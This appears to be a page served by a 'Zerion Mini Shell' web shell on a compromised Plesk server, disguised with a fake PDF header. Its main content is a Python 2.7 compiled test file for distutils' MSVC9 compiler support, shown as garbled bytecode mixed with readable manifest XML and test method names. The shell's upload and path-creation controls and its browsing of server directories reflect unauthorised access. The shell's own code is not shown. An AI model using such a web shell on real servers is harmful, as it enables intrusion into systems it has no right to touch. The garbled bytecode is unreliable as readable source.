%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_msvc9compiler.pyc

�
5}�ac@sdZddlZddlZddlZddlmZddlmZddlm	Z	dZ
dZdZej
d	kr�dd
lmZe�dkr�dZq�dZnd
Zejedke�dejejfd��Y�Zd�Zedkre	e��ndS(s"Tests for distutils.msvc9compiler.i����N(tDistutilsPlatformError(tsupport(trun_unittests�<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1"
          manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker" uiAccess="false">
        </requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity type="win32" name="Microsoft.VC90.CRT"
         version="9.0.21022.8" processorArchitecture="x86"
         publicKeyToken="XXXX">
      </assemblyIdentity>
    </dependentAssembly>
  </dependency>
</assembly>
s�<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1"
          manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker" uiAccess="false">
        </requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity type="win32" name="Microsoft.VC90.CRT"
         version="9.0.21022.8" processorArchitecture="x86"
         publicKeyToken="XXXX">
      </assemblyIdentity>
    </dependentAssembly>
  </dependency>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity type="win32" name="Microsoft.VC90.MFC"
        version="9.0.21022.8" processorArchitecture="x86"
        publicKeyToken="XXXX"></assemblyIdentity>
    </dependentAssembly>
  </dependency>
</assembly>
s�<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1"
          manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker" uiAccess="false">
        </requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
  <dependency>

  </dependency>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity type="win32" name="Microsoft.VC90.MFC"
        version="9.0.21022.8" processorArchitecture="x86"
        publicKeyToken="XXXX"></assemblyIdentity>
    </dependentAssembly>
  </dependency>
</assembly>twin32(tget_build_versiong @s)These tests are only for MSVC8.0 or abovesThese tests are only for win32tmsvc9compilerTestCasecBs,eZd�Zd�Zd�Zd�ZRS(cCscddlm}d�}ddlm}|j}||_z|jt|d�Wd||_XdS(Ni����(tquery_vcvarsallcSsdS(N(tNone(tversion((sK/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_msvc9compiler.pyt_find_vcvarsallos(t
msvc9compilerswont find this version(tdistutils.msvc9compilerRt	distutilsR
tfind_vcvarsalltassertRaisesR(tselfRR	R
told_find_vcvarsall((sK/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_msvc9compiler.pyttest_no_compilerjs			cCs�ddlm}|jt|jdd�d}|j|d�}|j|d�ddl}|j}|j|d	�}|j	|d�|j|d
�}|jd|�dS(
Ni����(tRegtxxxsControl Panel\Desktopudragfullwindowsu0u1u2txxxxs
Control PaneltDesktop(u0u1u2(RRRtKeyErrort	get_valuetassertInt_winregtHKEY_CURRENT_USERt	read_keystassertEqualR(RRtpathtvRtHKCUtkeys((sK/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_msvc9compiler.pyttest_reg_class{s	cCs�ddlm}|j�}tjj|d�}t|d�}z|jt�Wd|j	�X|�}|j
|�t|�}z2djg|j�D]}|j�^q��}Wd|j	�X|j
|t�dS(Ni����(tMSVCCompilertmanifesttws
(RR"tmkdtemptosRtjointopentwritet"_MANIFEST_WITH_MULTIPLE_REFERENCEStcloset_remove_visual_c_reft	readlinestrstripRt_CLEANED_MANIFEST(RR"ttempdirR#tftcompilertlinetcontent((sK/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_msvc9compiler.pyttest_remove_visual_c_ref�s	
2cCs�ddlm}|j�}tjj|d�}t|d�}z|jt�Wd|j	�X|�}|j
|�}|j|�dS(Ni����(R"R#R$(RR"R%R&RR'R(R)t"_MANIFEST_WITH_ONLY_MSVC_REFERENCER+R,tassertIsNone(RR"R0R#R1R2tgot((sK/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_msvc9compiler.pyttest_remove_entire_manifest�s	(t__name__t
__module__RR!R5R9(((sK/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_msvc9compiler.pyRfs			cCs
tjt�S(N(tunittestt	makeSuiteR(((sK/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_msvc9compiler.pyt
test_suite�st__main__(t__doc__tsysR<R&tdistutils.errorsRtdistutils.testsRttest.test_supportRR6R*R/tplatformtdistutils.msvccompilerRRtSKIP_MESSAGEt
skipUnlesstTempdirManagertTestCaseRR>R:(((sK/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_msvc9compiler.pyt<module>s* 		L	

Zerion Mini Shell 1.0